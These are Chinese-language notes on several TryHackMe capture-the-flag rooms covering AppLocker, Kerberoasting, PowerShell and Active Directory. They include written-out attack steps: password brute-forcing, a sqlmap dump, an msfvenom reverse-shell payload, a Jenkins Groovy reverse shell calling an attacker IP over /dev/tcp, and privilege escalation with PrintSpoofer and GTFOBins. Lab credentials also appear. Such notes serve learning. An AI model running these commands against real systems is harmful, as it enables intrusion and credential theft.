windows7-applocker-thm


有很多方法可以绕过AppLocker

1.如果AppLocker配置了默认的 AppLocker 规则,我们可以通过将可执行文件放置在以下目录中来绕过它:  C:\Windows\System32\spool\drivers\color – 默认情况下该目录已列入白名单

2.Kerberoasting 是一种从 Active Directory 中提取服务帐户哈希值以便稍后用于离线破解的攻击。

使用以下命令查找具有服务主体名称属性设置的用户:

setspn -T medin -Q ​ /

上图可以看出已经识别出了用户为fela

3.下载下面的脚本,用于转储hash https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1

在color目录运行 . .\Invoke-Kerberoast.ps1,再运行Invoke-Kerberoast -OutputFormat hashcat ​ |fl 如下图:

powershell-thm

powershell是.net写的,在powershell里可以执行.NET函数。

cmdlet:powershell命令

powershell命令格式通常是 动词-名词 的形式,常见动词如下:

  • Get
  • Start
  • Stop 
  • Read
  • Write
  • New
  • Out

Get-Help显示有关cmdlet 的信息,Get-Help Command-Name获取特定命令的帮助,在后面添加-examples展示示例。

Get-Help Get-Command -Examples


1.cmdlet可以使用通配符*

Get-Command New-* :查看 动词 new 的 所有cmdlet

2.与其他 shell 相比,一个主要区别是 Powershell 将对象传递给下一个cmdlet,而不是将文本或字符串传递给管道之后的命令。与面向对象框架中的每个对象一样,对象将包含方法和属性。

Pipeline( |) 用于将输出从一个cmdlet传递 到另一个 cmdlet

Get-Command | Get-Member -MemberType Method

3.从之前的cmdlet创建对象

操作对象的一种方法是从cmdlet的输出中提取属性并创建新对象。这是使用Select-Object cmdlet 完成的

Get-ChildItem | Select-Object -Property Mode, Name

在PowerShell中,Get-ChildItem cmdlet用于获取指定目录中的子项(文件和文件夹)。而Select-Object cmdlet用于选择对象的属性并将其显示出来。

通过将Get-ChildItem的输出管道传递给Select-Object,我们可以选择要显示的子项的属性。在这个例子中,我们选择了Mode和Name属性。

Mode属性表示子项的访问模式,它描述了文件或文件夹的权限和特性。例如,d表示目录(文件夹),-表示文件。

Name属性表示子项的名称,即文件或文件夹的名称。

通过执行Get-ChildItem | Select-Object -Property Mode, Name命令,我们将获取指定目录中的子项,并只显示每个子项的访问模式和名称。这样可以使结果更加简洁,并且只关注我们感兴趣的属性信息。

其中-operator是以下运算符的列表:

  • -contains:如果属性值中的任何一项与指定值完全匹配
  • -EQ:如果属性值与指定值相同
  • -GT:如果属性值大于指定值

4.过滤对象

检索输出对象时,需要选择与非常特定的值匹配的对象。Where-Object用基于属性值的过滤器来执行此操作。

Verb-Noun | Where-Object -Property PropertyName -operator Value //一般格式

Get-Service | Where-Object -Property Status -eq Stopped :检索已经停止的进程

5.排序对象

使用Verb-Noun | Sort-Object来排序


示例:

1.搜索一个名为test.txt的文件,不知道路径:

Get-ChildItem -Path C:\ -Include *test.txt* -File -Recurse -ErrorAction SilentlyContinue

Get-ChildItem:获取指定目录的文件
-File 只返回文件为不是文件夹
-Recurse 递归查找
-ErrorAction SilentlyContinue 出错时仍然查找,比如遇上access denied不继续运行的时候。

2.系统上安装cmdlet的数量

Get-Command | Where-Object { $_.CommandType -eq “Cmdlet” } | Measure-Object //$_表示当前正在处理的对象

3.查找一个文件的hash值:
Get-FileHash -Path “C:\Program Files\interesting-file.txt.txt” -Algorithm MD5 :-Algorithm 选项指定了要使用的哈希算法

4.获取当前工作目录:
Get-Location

5.查看是否存在某个文件:
Test-Path -Path “C:\Users\Administrator\Documents\Passwords\filename.txt”

6.对某个文件进行base64解密:


枚举:

1.拿到一个window操作系统的shell,可以通过powershell查看一下下面的信息,用于提权或者横向移动或者持久化。

  • 用户
  • 基本网络信息
  • 文件权限
  • 注册表权限
  • 计划任务和运行任务
  • 不安全的文件

1.用户:查看本机存在多少个用户
Get-LocalUser

2.查看sid是哪个用户的
Get-LocalUser -SID “S-1-5-21-1394777289-3961777894-1791813945-501”

3.查看多少个用户的密码所需值设置为false
Get-LocalUser | Where-Object -Property PasswordRequired -Match false

4.查看存在的本地组
Get-LocalGroup | measure

5.查看ip信息
Get-NetIPAddress

6.查看正在监听的端口
GEt-NetTCPConnection | Where-Object -Property State -Match Listen | measure

7.查看监听端口的远程地址
GEt-NetTCPConnection | Where-Object -Property State -Match Listen

active directory

RDP连接靶机

xfreerdp /v:10.10.30.220 /u:Administrator /p:THM

运行ad的服务器是域控制器DC

加入拿下DC,使用AD的时候可以操作OU,有些动作比如delete,需要在DC的“view”打开高级选项,然后右键要删除的属性,去掉意外删除的钩子,就可以删除了。

AD可以委派delegate权限。

比如,我将一个ou的管理密码的权限delegate给了phillip,那么phillip就可以通过powershell修改那个ou里面人员的密码,如下:

Set-ADAccountPassword sophie -Reset -NewPassword (Read-Host -AsSecureString -Prompt ‘New Password’) -Verbose

一般在AD应该把设备分成以下三类

1. 工作站

工作站是 Active Directory 域中最常见的设备之一。域中的每个用户都可能登录到工作站。这是他们用来完成工作或正常浏览活动的设备。这些设备不应该让特权用户登录。

2. 服务器

服务器是 Active Directory 域中第二常见的设备。服务器一般用来为用户或其他服务器提供服务。

3. 域控制器

域控制器是 Active Directory 域中第三种最常见的设备。域控制器允许您管理 Active Directory 域。这些设备通常被认为是网络中最敏感的设备,因为它们包含环境中所有用户帐户的哈希密码。


Windows 通过组策略对象 Group Policy ObjectsGPO )管理此类策略。GPO 只是可应用于 OU 的设置的集合。GPO 可以包含针对用户或计算机的策略,允许您在特定计算机和身份上设置基线。

要配置 GPO,您可以使用组策略管理Group Policy Management工具(可从开始菜单访问)

要想对不同的ou分配策略,在DC上,的GPO的ou下创建策略,再把这些策略连接到需要的ou上。

thm的连接,在搜索栏输入下面代码,能打开高级网络设置,设置ip地址

nm-connection-editor

下面的网站能用来检验某个电子邮件地址或密码是否曾在公开披露的数据泄露中暴露:

https://haveibeenpwned.com/

internal-thm

1.nmap扫描

2.gobuster扫描

3.访问phpmyadmin,试了几个账号,发现一般账号的错误信息和root的错误信息不一样,root的错误代码比较特殊,可以判断root是存在的。尝试使用hydra进行暴力破解,如下命令:

hydra -l root -P /home/sigma/rockyou.txt 10.10.115.35 -V http-form-post ‘/phpmyadmin/index.php:pma_username=root&pma_password=^PASS^&server=1&target=index.php&token=be762873a449dbaf668c1056b9541762:F=错误信息 ‘ -t 20 //十分失败,没能爆破出来

爆破wordpress的账号密码

http://internal.thm/blog/wp-login.php

hydra -l admin -P /home/sigma/rockyou.txt 10.10.115.35 -V http-form-post ‘/internal.thm/blog/wp-login.php:log=admin&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Finternal.thm%2Fblog%2Fwp-admin%2F&testcookie=1:F=The password you entered for the username admin is incorrect ‘ -t 20 //爆了半天没效果

4.爆破不出来就针对wordpress使用WPscan来扫描。它可以针对wordpress进行安全扫描还有爆破等操作。

wpscan –url http://internal.thm/blog -e u

wpscan –url http://internal.thm/wordpress -U admin -P /home/sigma/rockyou.txt

不知道为什么hydra爆破不出来,密码my2boys

登录上后,找到能编辑的页面,比如404页面

将php的shell覆盖本来的代码,更新后监听相对应的端口,然后找到404文件的路径,就能连接上。

python -c ‘import pty;pty.spawn(“/bin/bash”)’ //巩固shell

进不去home里面的文件夹,sudo -l没有可利用的条件,没有

网友们不知道怎么都发现了opt文件夹有好东西,这告诉我们什么文件夹都翻翻看看?养成 locate *.txt 或者 find . -name *.txt 的习惯,可能他们也这样找到的吧。

aubreanna:bubb13guM!@#123,ssh连接他

接下来,聪明的网友们发现了另外的txt文件,读取之后知道有个172.17.0.2:8080的东西存在

查看本机ip不是一个ip,那尝试ssh用同样的账号密码连接

ssh -L 7878:172.17.0.2:8080 aubreanna@internal.thm

url为 localhost:7878

j_username=admin&j_password=123&from=%2F&Submit=Sign+in

hydra -l admin -P /home/sigma/rockyou.txt 127.0.0.1 http-form-post ‘/j_acegi_security_check:j_username=admin&j_password=^PASS^&from=%2F&Submit=Sign+in:loginError’ -I -s 7878

login: admin password: spongebob

这是jenkins,有一个执行脚本的地方

r = Runtime.getRuntime()
p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/10.9.64.63/5555;cat <&5 | while read line; do \$line 2>&5 >&5; done”] as String[])
p.waitFor()

复制上面代码然后监听,上面代码是可以的,只是还不是交互式的shell

尝试 locate *.txt 以及 find / -name *.txt找敏感文件

root:tr0ub13guM!@#123

Relevant-thm

1.nmap扫端口

不仅常规端口,最好扫全端口

sudo nmap -sS -sV -T5 -p- IP

2.有80,gobuster扫目录

没扫出有价值的

gobuster dir -u http://10.10.148.42:49663 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -s '200,301' --no-error -t 50 --status-codes ""

3.smbmap扫共享。

sudo smbmap -H ip -p 445

IPC$ READ ONLY Remote IPC
nt4wrksv READ, WRITE

4.smbclient连接可读可写的nt4wrksv文件夹

smbclient //10.10.108.115/nt4wrksv

连接上后,查看共享文件夹存在的文件,然后发现一个敏感文件,使用

get 文件名 下载下来

经过Base64解密,字符串 “Qm9iIC0gIVBAJCRXMHJEITEyMw==” 解码为 “Bob – !@#$%^&*123“.

经过Base64解密,字符串 “QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk” 解码为 “Bill – Juw4nnAmN4n420696969!!$$“.

既然这个文件夹是可读可写,那么可以传shell到这

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.64.63 LPORT=4444 -f aspx > related.aspx

使用 put filename 命令传shell

开监听器。curl http://10.10.77.239:49663/nt4wrksv/related.aspx

关键是选对payload


下图是监听成功


提权

1.

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt 尝试查看历史命令,可惜没有

2.cmdkey /list 查看保存的凭据,可惜没有

3.根据安装的 IIS 版本,我们可以在以下位置之一找到 web.config,在第二个路径找到了想要找到的东西。

  • C:\inetpub\wwwroot\web.config
  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

4. 查看数据库连接字符串

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString 下面是找到的结果

<add connectionStringName=”LocalSqlServer” maxEventDetailsLength=”1073741823
没啥用处

5.输入 whoami /priv

SeImpersonatePrivilege 能模拟认证后的用户

网上搜利用方式,从github上找printspoofer64.exe上传到共享,然后运行命令执行 printspoofer64.exe -i -c cmd

确实提权成功了

立交桥-thm

1.下载pcap包

2.查看里面的http协议的流

3.通过 tcp.stream eq X 改变X的数字依次看,找到异常的流量

4.如果找到了未加密的数据,尝试解密明文。下图是攻击者尝试转储etc/shadow的口令,尝试用john破解。

5.将口令hash保存成一个txt,然后输入命令:

sudo john –wordlist=/home/sigma/rockyou.txt pass2.txt //字典以及保存的位置需要灵活改变

6.根据pcap中的url去找后门的代码,代码里面会有hash值以及盐。john无法破解hash加盐的密码,因此使用kali自带的另一个解密工具:hashcat

hashcat -m 1710 -a 0 -o 输出文件.txt 哈希文件.txt 密码列表.txt

其中哈希文件包含 密码哈希:硬编码盐

7.nmap 扫网页,有22和2222,尝试使用pcap包的账号和口令连接


提权

查看当前目录下的所有文件 ls -la

在Linux中,红色高亮背景的文件通常表示具有特殊权限或属性的文件。以下是一些可能出现红色高亮背景的文件类型和含义:

  1. 红底白字(红色高亮背景)的可执行文件:这表示文件具有可执行权限,并且所属用户或组对该文件具有写权限。这种颜色方案是为了提醒用户文件具有潜在的危险性,因为可执行文件具有直接在系统上执行代码的能力。
  2. 红底黑字(红色高亮背景)的归档文件:这表示文件被压缩或归档,并且可能需要解压或提取才能访问其中的内容。常见的归档文件类型包括 .tar.gz.zip 等。

到GTFOBins看看利用方式:

输入 ./.suid_bash -p

每日号角-thm

1.nmap扫描:

nmap -sS -sV ip

开了 22 80 3306 要么看网页有无可利用漏洞,要么3306的mysql尝试注入

2.gobuster

gobuster dir -u http://10.10.73.254:80 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -t 40

3.使用cmseek来查看cms版本

sudo python3 <path-to-cmseek.py> -u http://<remote-ip>

4.sqlmap

sqlmap -u "http://10.10.73.254/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

sqlmap -u “http://10.10.73.254/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” –risk=3 –level=5 –random-agent -D joomla -T ‘#__users’ –dump

john破解密码

john passwd.txt –wordlist=/home/sigma/rockyou.txt

到/administrator新建php文件,粘贴php的反向shell

https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

http://<machine-ip>/templates/protostar/<filename>.php

下图是/var/www/html目录下的文件,configuration.txt很可疑

下图是cat configuration.php 的结果

ssh登录,下图是结果 ssh jjameson@10.10.54.75

sudo -l 查看能看能在不输入密码的情况下以root权限的操作:可以看到下图 yum可以免密码

在GTFOBins那看看有无可利用代码或者操作。

需要下载rpm和fpm,问gpt可解决。如果安装名字不是fpm,找到安装路径,查看正确名称然后建立一个软连接。

下面是用第二种方法手敲命令